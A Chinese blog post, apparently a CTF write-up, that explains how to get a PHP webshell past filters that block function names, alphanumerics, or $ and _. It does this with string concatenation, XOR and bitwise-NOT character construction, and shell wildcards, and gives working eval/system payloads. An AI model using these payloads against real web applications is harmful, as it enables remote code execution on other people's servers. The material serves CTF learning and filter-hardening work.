Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

绕过过滤getshell的一些骚操作

前言

最近忙着一些社团的杂事,学习进度一度停滞不前….不知怎么见着其他人的技术越来越高,心中有了一丝无奈以及失望,不知道还能坚持多久下去,咸鱼总是停于安逸之处,强者总能一直前进不止。
借着安恒的题目归纳一下绕过限制getshell的几种策略。

getshell前置内容

在之前的文章讲过了getshell的一些基本内容,重复内容就不讲解了。一般我们通过一些函数来传入命令参数,再通过解析将命令执行最终输出我们想要的结果,具体说一下这些函数的特点:

1
2
3
4
assert():检查一个断言是否为 FALSE,如果是 FALSE 则返回 FALSE,否则是 TRUE。但是这并不是它被利用的原因,在传入一个字符串后,这个字符串会被当做PHP代码来执行,比如我们常用的phpinfo(),file_put_content()等等都能执行。值得注意的是这里不仅仅可以传入字符串,也能传入函数。
eval():把字符串按照 PHP 代码来计算,和上者类似,但是eval()只能传入字符串。
system():执行外部程序,并且显示输出。执行命令把结果返回。
exec():执行命令,如果带有参数,会将结果返回。

然后就是要认识一些基础的linux或者windows下的命令了,具体可以自行百度,后续用到的命令也会粗略提及。

函数被过滤

一般来说,网站会通过过滤shell里常用的一些函数来防止被攻击,常见的过滤手段如下:

1
2
3
<?php 
$iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
?>

通过将命令执行函数或者一些危险的存在利用点的函数全部用无效符号替换。这种过滤的绕过方式有大致几种,第一种就是通过字符串拼接来绕过,其余可以通过大小写绕过,或者双写绕过,这里的方式可以参考之前XSS过滤的方式。

参考示例

最近接触到的应该是安恒杯9月web1,web1通过利用之前seacms爆出的漏洞而改的,具体示例可以参考seacms最新后台getshell的文章:https://www.anquanke.com/post/id/153402。
在过滤了_GET,_POST以及cookie传参的途径下,通过字符拼接成功构造了payload。参考如下:

1
$GLOBALS["_G"."ET"][$a]($GLOBALS["_G"."ET"][$b]);

我们传入a=system&b=ls,就形成了system(“ls”);,ls命令成功执行最后返回结果。

数字和字母被过滤

这个比上面那个过滤稍微狠一点,拼接字符串是不太可能实现了,具体过滤实现代码如下:

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

异或

虽然过滤了数字和字符,但是这并不意味着就没办法构造出字符和数字了,异或以及反取符号都在的情况下,可以通过不可见字符转换为字母,比如以下的几个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
'a' = '=' ^ '\\'
'e' = '@' ^ '%'
'r' = '.' ^ '\\'
't' = '(' ^ '\\'
's' = '/' ^ '\\'
'm' = '-' ^ '@'
'y' = '&' ^ '_'
'E' = '>' ^ '{'
'G' = '<' ^ '{'
'O' = '/' ^ '`'
'P' = '+' ^ '{'
'S' = '(' ^ '{'
'T' = '/' ^ '{'

这些是我测试出来可以构造payload的操作,可以直接拿来用。例如构造以下payload:

1
2
3
?code=$_="_".('<' ^ '{').('>' ^ '{').('/' ^ '{');  //$_="_GET"
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=('/' ^ '\\').('&' ^ '_').('/' ^ '\\').('(' ^ '\\').('@' ^ '%').('-' ^ '@') //system($_GET[__])

接着传入命令就行了。
值得注意的是,不仅仅可以用其他可见字符,不可见字符经过url编码进行异或也是可以实现的。

取反(参考了p神的文章)

和上一种方法类似的是取反,例如\x9e取反之后就成了a,各个字符如何通过取反得到可以去测试一下,如下是构造的payload:

1
2
3
?code=${~"\xA0\xB8\xBA\xAB"}[_](${~"\xA0\xB8\xBA\xAB"}[__]); //$_GET[_]($_GET[__])
&_={~"\x8c\x86\x8c\x8b\x9a\x92} //system
&__={~"\x93\x8c"} //ls

此外可以参考p神写的这个payload,他利用了utf8汉字编码提取出类似的编码进行取反:

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

还有一种也是p神想出来的方法,具体操作可以参考他的这篇文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

参考示例

这是一道代码审计的题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

让我们不使用字母以及数字来执行getFlag()这个函数,这里就可以参考上面的payload来进行绕过了,payload如下:

1
?code=$_="`{{{" ^ "?<>/";${$_}[_]();&_=getFlag

PS:`代表执行命令,?匹配字符,所以形成_GET字符

数字,字母,$以及_被过滤

这个就比上一个再更加狠一点了,因为我们所要的$被过滤了,也就是说我们无法构造变量了,这里用到了一个很冷门的知识:?><?=是可以直接输出后面的代码的(具体原理参考大师傅们的解释),以及?是通配符这个知识。例如我们使用/???/???可以匹配/bin/cat这个命令。

参考示例

这是安恒杯web2的一部分题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>

再通过操作得出有/flag的前提下,我们可以使用上面的知识,生成以下payload:

1
?code=?><?=`/???/??? /????`;?>

字符长度限制

这就要结合某次丧心病狂的比赛了,里面都是命令执行,这部分在后续会详细写出来……..

本站总访问量